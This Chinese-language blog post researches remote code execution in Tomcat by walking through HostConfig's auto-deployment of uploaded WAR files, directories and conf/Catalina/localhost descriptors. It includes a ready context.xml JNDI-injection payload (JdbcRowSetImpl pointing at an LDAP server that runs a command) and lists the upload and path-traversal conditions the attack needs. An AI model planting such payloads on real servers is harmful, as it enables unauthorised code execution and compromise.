前言

众所周知,tomcat下上传jsp文件是最好用的RCE方式,但是大部分情况下,jsp的文件上传都被限制了,所以我们得探索其他的RCE方式。

探索

首先我们运行tomcat,要知道tomcat后台上传war包是一种很熟悉的RCE方式,那么我们在运行时在tomcat中上传一个war包

image.png

发现war包也成功部署了,

image.png

上传war包可以是一种方案,那么有没有其他方式呢?

首先,为什么在运行中上传war包依旧能部署呢?

首先我们可以知道tomcat启动过程中会有一个后台线程

ContainerBackgroundProcessor

image.png

这个线程一直处于循环当中,每10秒执行一次processChildren方法

image.png

这个processChildren方法会递归调用tomcat不同容器的backgroundProcess方法。

当container为StandarHost时

image.png

image.png

前面的没啥用,主要看这里,

image.png

这里循环调用了生命周期监听器,

在org.apache.catalina.startup.HostConfig#lifecycleEvent 中

当监听到Lifecycle的状态为periodic时,调用check方法

image.png

逐步跟进到

org.apache.catalina.startup.HostConfig#deployApps()

image.png

deployWARs正是处理war包的方法

image.png

随后的部署便不跟进了。

此时我们可以了解到上传war包能够部署的原因,细心的你肯定注意到还有两处方法调用。

image.png

我们先来看看deployDirectories方法,

会调用所有的appBaseFile(这里是catalina-home/webapps)下的文件进行判断

image.png

获取文件夹名后会判断isServiced或者deploymentExists 是否为true,这两个功能大概就是判断是否处理过,如果已经处理过便不再处理了,如果不是则进入es.submit(new DeployDirectory(this, cn, dir))

所以我们上传一个新的文件夹

es 估摸着是个线程池。所以注意一下DeployDirectory的run方法

image.png

发现会读取文件夹下META-INF/context.xml 文件

image.png

读到后
image.png

便使用digester解析xml

这里便可以实现RCE了,原理就不说明了,可以看y4tacker师傅的文章点这里

我们构造一个文件其META-INF文件下的context.xml 如下

<Context>

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>web.xml</WatchedResource>

    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="ldap://127.0.0.1:1389/TomcatBypass/Command/calc"
             autoCommit="true"></Manager>
</Context>

等运行这个线程的时候

便能触发jndi

image.png

再看看另一个方法deployDescriptors

会调用hostConfigBase下的所有文件

这里hostConfigBase为/conf/Catalina/localhost

image.png

还是同样的配方

image.png

hostConfigBase 下的xml文件都会被digester解析一遍。依旧是同样的RCE方式

image.png

后言

当然还是有限制,比如允许上传war包、xml文件,能够创建目录、需要目录穿越,但还是可以提供参考,时间关系,只研究了tomcat的这种方式,并未在其他容器中实验,感兴趣的师傅可以尝试~~

参考

https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/#%E5%8F%91%E7%8E%B0